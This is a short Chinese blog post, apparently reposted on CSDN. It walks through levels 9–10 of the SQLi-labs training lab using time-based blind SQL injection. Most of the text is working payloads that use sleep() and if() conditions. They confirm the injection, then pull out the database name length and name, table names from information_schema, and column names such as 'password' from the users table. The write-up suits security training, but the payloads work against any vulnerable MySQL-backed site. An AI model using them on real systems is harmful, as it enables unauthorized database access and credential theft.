SQLI DUMB SERIES-9&&10

第五关、第八关以及第九关、第十关都是使用盲注,除了第五关说的双注入外,也可使用时间注入法

(1)无论输入啥,都回显相同

(2)

?id=1' and sleep(3) --+

 发现有明显延迟,说明可以使用时间注入,

?id=1' and if(length(database())=8 , sleep(5), 1) --+

 从1尝试到8发现有明显延迟,说明数据库名为八位

(3)同样的爆库名

?id=1' and if(left(database(),1)='s' , sleep(5), 1) --+
?id=1' and if(left(database(),8)='security' , sleep(5), 1) --+

 继续尝试可得库名:security

(4)爆表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(5), 1) --+

 改变Limit的第一个参数可以得到所有表名。

(5)爆字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='password', sleep(5), 1) --+

 改变Limit的第一个参数可以得到user表中得所有字段。

 

转载于:https://www.cnblogs.com/momoli/p/10678571.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值